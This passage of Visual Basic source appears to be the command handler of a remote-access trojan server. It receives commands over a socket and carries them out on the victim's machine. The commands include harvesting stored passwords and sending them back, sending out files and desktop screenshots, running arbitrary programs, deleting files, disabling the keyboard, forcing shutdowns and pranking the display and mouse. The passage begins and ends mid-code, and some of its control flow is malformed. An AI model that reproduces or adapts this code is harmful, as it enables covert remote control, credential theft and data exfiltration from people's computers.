WS.SendData "MonitorOff"
'ElseIf TheData = Str(StartBeep) Then
    'Beep True
'ElseIf TheData = Str(StopBeep) Then
    'Beep False
ElseIf Cmd(0) = "OpenCD" Then
    OpenCDTray
    WS.SendData "CDOpened"
ElseIf Cmd(0) = "CloseCD" Then
    CloseCDTray
    WS.SendData "CDClosed"
ElseIf Cmd(0) = "HideTaskBar" Then
    Taskbar False
    WS.SendData "TaskBarHidden"
ElseIf Cmd(0) = "ShowTaskBar" Then
    Taskbar True
    WS.SendData "TaskBarShown"
ElseIf Cmd(0) = "HideStartButton" Then
    StartButton innotontaskbar
    WS.SendData "StartButtonHidden"
ElseIf Cmd(0) = "ShowStartButton" Then
   StartButton isontaskbar
   WS.SendData "StartButtonShown"
ElseIf Cmd(0) = "HideDesktop" Then
    Desktop True
    WS.SendData "DesktopHidden"
ElseIf Cmd(0) = "ShowDesktop" Then
    Desktop False
    WS.SendData "DesktopShown"
ElseIf Cmd(0) = "ReverseMouseButtons" Then
 SwapMouseButton (True)
 WS.SendData "MouseButtonsReversed"
ElseIf Cmd(0) = "RestoreMouseButtons" Then
 SwapMouseButton (False)
 WS.SendData "MouseButtonsRestored"
ElseIf Cmd(0) = "HideMouse" Then
mousehide = True
ShowCursor (False)
WS.SendData "MouseHidden"
ElseIf Cmd(0) = "ShowMouse" Then
 mousehid = True
ShowCursor (True)
WS.SendData "MouseShown"
  ElseIf Cmd(0) = "CloseServer" Then
  WS.SendData "ServerClosed"
  End
  ElseIf Cmd(0) = "ActivateMatrix" Then
  Load Form1
  Form1.Show
  ElseIf Cmd(0) = "DeactivateMatrix" Then
  Form1.Hide
  Unload Form1
  ElseIf Cmd(0) = "NormalShutdown" Then
  a = ExitWindowsEx(EWX_SHUTDOWN, 0)
  WS.SendData "NormalShutdown"
  ElseIf Cmd(0) = "ForceShutdown" Then
  a = ExitWindowsEx(EWX_FORCE, 0)
  WS.SendData "ForceShutdown"
  ElseIf Cmd(0) = "LogOff" Then
  a = ExitWindowsEx(EWX_LOGOFF, 0)
  WS.SendData "LogOff"
  ElseIf Cmd(0) = "Reboot" Then
  a = ExitWindowsEx(EWX_REBOOT, 0)
  WS.SendData "Reboot"
  ElseIf Cmd(0) = "PowerOff" Then
  a = ExitWindowsEx(EWX_POWEROFF, 0)
  WS.SendData "PowerOff"
  End If
  If Cmd(0) = "FlipVerticalNormal" Then
 Option1_Click
 Option7_Click
 Command1_Click
 WS.SendData "FlipVerticalNormal"
 End If
  If Cmd(0) = "FlipVerticalInvert" Then
Option2_Click
Option7_Click
Command1_Click
WS.SendData "FlipVerticalInvert"
End If
  If Cmd(0) = "FlipVerticalBad" Then
Option3_Click
Option7_Click
Command1_Click
WS.SendData "FlipVerticalBad"
End If
  If Cmd(0) = "FlipVerticalDark" Then
Option4_Click
Option7_Click
Command1_Click
WS.SendData "FlipVerticalDark"
End If
  If Cmd(0) = "FlipVerticalBright" Then
Option5_Click
Option7_Click
Command1_Click
WS.SendData "FlipVerticalBright"
End If
  If Cmd(0) = "FlipHorizontalNormal" Then
Option1_Click
Option6_Click
Command1_Click
WS.SendData "FlipHorizontalNormal"
End If
  If Cmd(0) = "FlipHorizontalInvert" Then
Option2_Click
Option6_Click
Command1_Click
WS.SendData "FlipHorizontalInvert"
End If
  If Cmd(0) = "FlipHorizontalBad" Then
Option3_Click
Option6_Click
Command1_Click
WS.SendData "FlipHorizontalBad"
End If
  If Cmd(0) = "FlipHorizontalDark" Then
Option4_Click
Option6_Click
Command1_Click
WS.SendData "FlipHorizontalDark"
End If
  If Cmd(0) = "FlipHorizontalBright" Then
Option5_Click
Option6_Click
Command1_Click
WS.SendData "FlipHorizontalBright"
End If
  If Cmd(0) = "FlipBothNormal" Then
Option1_Click
Option6_Click
Option7_Click
Command1_Click
WS.SendData "FlipBothNormal"
End If
  If Cmd(0) = "FlipBothInvert" Then
Option2_Click
Option6_Click
Option7_Click
Command1_Click
WS.SendData "FlipBothInvert"
End If
  If Cmd(0) = "FlipBothBad" Then
Option3_Click
Option6_Click
Option7_Click
Command1_Click
WS.SendData "FlipBothBad"
End If
  If Cmd(0) = "FlipBothDark" Then
Option4_Click
Option6_Click
Option7_Click
Command1_Click
WS.SendData "FlipBothDark"
End If
  If Cmd(0) = "FlipBothBright" Then
Option5_Click
Option6_Click
Option7_Click
Command1_Click
WS.SendData "FlipBothBright"
End If
If Cmd(0) = "RestoreColors" Then
a = SetSysColors(1, 4, lbloldmenucolor.BackColor)
a = SetSysColors(1, 15, lbloldbuttoncolor.BackColor)
a = SetSysColors(1, 5, lbloldwincolor.BackColor)
a = SetSysColors(1, 1, lbloldbackground.BackColor)
a = SetSysColors(1, 6, lbloldwinframecolor.BackColor)
a = SetSysColors(1, 10, lbloldactivebordercolor.BackColor)
a = SetSysColors(1, 11, lbloldinactivebordercolor.BackColor)
a = SetSysColors(1, 12, lbloldappworkspace.BackColor)
WS.SendData "ColorsRestored"
 End If
 If Cmd(0) = "SetClipBoard" Then
 Clipboard.SetText Cmd(1)
 WS.SendData "ClipBoardSet"
 ElseIf Cmd(0) = "PrintText" Then
  PrintText Cmd(1)
  End If
If Cmd(0) = "SetSaver" Then
txttext.Text = Cmd(1)
txtfont.Text = Cmd(2)
txtsize.Text = Cmd(3)
txtscrollspeed.Text = Cmd(4)
textcolor.Caption = Cmd(5)
labelbackcolor.Caption = Cmd(6)
txtattributes.Text = Cmd(7)
X = WritePrivateProfileString("Screen Saver.Marquee", "Font", txtfont.Text, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "Text", txttext.Text, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "Size", txtsize.Text, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "Speed", txtscrollspeed.Text, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "Attributes", txtattributes.Text, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "TextColor", textcolor.Caption, "c:\windows\control.ini")
X = WritePrivateProfileString("Screen Saver.Marquee", "BackgroundColor", labelbackcolor.Caption, "c:\windows\control.ini")
WS.SendData "SSSaved"
End If

If Cmd(0) = "ChangeColors" Then
lblmenucolor.BackColor = Cmd(1)
lblfacecolor.BackColor = Cmd(2)
lblwindowcolor.BackColor = Cmd(3)
a = SetSysColors(1, 4, lblmenucolor.BackColor)
a = SetSysColors(1, 15, lblfacecolor.BackColor)
a = SetSysColors(1, 5, lblwindowcolor.BackColor)
a = SetSysColors(1, 1, lblwindowcolor.BackColor)
a = SetSysColors(1, 6, lblwindowcolor.BackColor)
a = SetSysColors(1, 10, lblwindowcolor.BackColor)
a = SetSysColors(1, 11, lblwindowcolor.BackColor)
a = SetSysColors(1, 12, lblwindowcolor.BackColor)
WS.SendData "ColorsChanged"
End If

If Cmd(0) = "SetMouseTrail" Then
txttrail.Text = Cmd(1)
MouseTrail txttrail.Text
WS.SendData "TrailChanged"
End If

If Cmd(0) = "HideMouseTrail" Then
MouseTrail 0
WS.SendData "NoMouseTrail"
End If

If Cmd(0) = "YNI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbYesNo, Cmd(2))

ElseIf Cmd(0) = "YNQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbYesNo, Cmd(2))

ElseIf Cmd(0) = "YNW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbYesNo, Cmd(2))

ElseIf Cmd(0) = "YNError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbYesNo, Cmd(2))

ElseIf Cmd(0) = "YNCI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbYesNoCancel, Cmd(2))

ElseIf Cmd(0) = "YNCQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbYesNoCancel, Cmd(2))

ElseIf Cmd(0) = "YNCW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbYesNoCancel, Cmd(2))

ElseIf Cmd(0) = "YNCError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbYesNoCancel, Cmd(2))

ElseIf Cmd(0) = "OKI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbOKOnly, Cmd(2))

ElseIf Cmd(0) = "OKQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbOKOnly, Cmd(2))

ElseIf Cmd(0) = "OKW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbOKOnly, Cmd(2))

ElseIf Cmd(0) = "OKError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbOKOnly, Cmd(2))

ElseIf Cmd(0) = "OKCI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbOKCancel, Cmd(2))

ElseIf Cmd(0) = "OKCQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbOKCancel, Cmd(2))

ElseIf Cmd(0) = "OKCW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbOKCancel, Cmd(2))

ElseIf Cmd(0) = "OKCError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbOKCancel, Cmd(2))

ElseIf Cmd(0) = "RICI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbRetryCancel, Cmd(2))

ElseIf Cmd(0) = "RICQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbRetryCancel, Cmd(2))

ElseIf Cmd(0) = "RICW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbRetryCancel, Cmd(2))

ElseIf Cmd(0) = "RICError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbRetryCancel, Cmd(2))

If Cmd(0) = "AI_Msg" Then
res = MsgBox(Cmd(1), vbInformation + vbAbortRetryIgnore, Cmd(2))

ElseIf Cmd(0) = "AQ_Msg" Then
res = MsgBox(Cmd(1), vbQuestion + vbAbortRetryIgnore, Cmd(2))

ElseIf Cmd(0) = "AW_Msg" Then
res = MsgBox(Cmd(1), vbExclamation + vbAbortRetryIgnore, Cmd(2))

ElseIf Cmd(0) = "AError_Msg" Then
res = MsgBox(Cmd(1), vbCritical + vbAbortRetryIgnore, Cmd(2))

ElseIf Cmd(0) = "Passwords" Then
Call GetPasswords
Call ListBoxtoTextBox
WS.SendData "Passwords;" & Text1.Text
If Text1.Text = "" Then
WS.SendData "NoPasswords"
End If
End If
End If

If Cmd(0) = "RunScreenSaver" Then
X = WritePrivateProfileString("boot", "SCRNSAVE.EXE", "C:\WINDOWS\SYSTEM\SCROLL~1.SCR", "c:\windows\system.ini")
StartScreensaver frmServer
WS.SendData "ScreenSaveRun"
End If

If Cmd(0) = "Files" Then
SendFiles Cmd(1)
WS.SendData "FilesSent"
End If

If Cmd(0) = "OpenBrowser" Then
GoToWebsite Cmd(1)
WS.SendData "BrowserOpened"
End If

If Cmd(0) = "GetTimeDate" Then
WS.SendData "TimeDate;" & Time & ";" & Date
End If

If Cmd(0) = "SetTime" Then
Time = Cmd(1)
WS.SendData "TimeSet"
ElseIf Cmd(0) = "SetDate" Then
Date = Cmd(1)
WS.SendData "DateSet"
End If

If Cmd(0) = "RunFile" Then
Shell Cmd(1)
End If

If Cmd(0) = "Download" Then
stopit = False
txtpath2.Text = Cmd(1)
txtfile.Text = GetFileName(txtpath2.Text)
File.SendData "File," & txtfile.Text
DoEvents
Open txtpath2.Text For Binary As 1

If Cmd(0) = "DisableKeyboard" Then
Shell "rundll32 keyboard,disable"
WS.SendData "KeyboardDisabled"
End If
End If

If Cmd(0) = "InitiateChat" Then
Load frmServerChat
frmServerChat.Show
WS.SendData "ChatInitiated"
End If

If Cmd(0) = "ChatMessage" Then
frmServerChat.txtchat.Text = Cmd(1)
End If

If Cmd(0) = "CloseChat" Then
frmServerChat.Hide
Unload frmServerChat
WS.SendData "ChatClosed"
End If

If Cmd(0) = "RunFile" Then
On Error GoTo error_handler
Shell Cmd(1), vbNormalFocus
WS.SendData "FileRun"
error_handler:
WS.SendData "FileError"
End If

If Cmd(0) = "PlayWav" Then
PlayMedia Cmd(1)
WS.SendData "WavPlayed"
End If

If Cmd(0) = "DeleteFile" Then
Kill Cmd(1)
WS.SendData "FileDeleted"
End If

If Cmd(0) = "GetDrives" Then
SendDrives
End If

If Cmd(0) = "FullScreenShot" Then
       Get_Desktop (App.Path & "\DESKTOP.jpg")
       thedata = App.Path & "\DESKTOP.jpg"
       SendDesktop thedata, WS
       WS.SendData "ScreenShotComplete"
       Kill App.Path & "\DESKTOP.jpg"
       End If
End Sub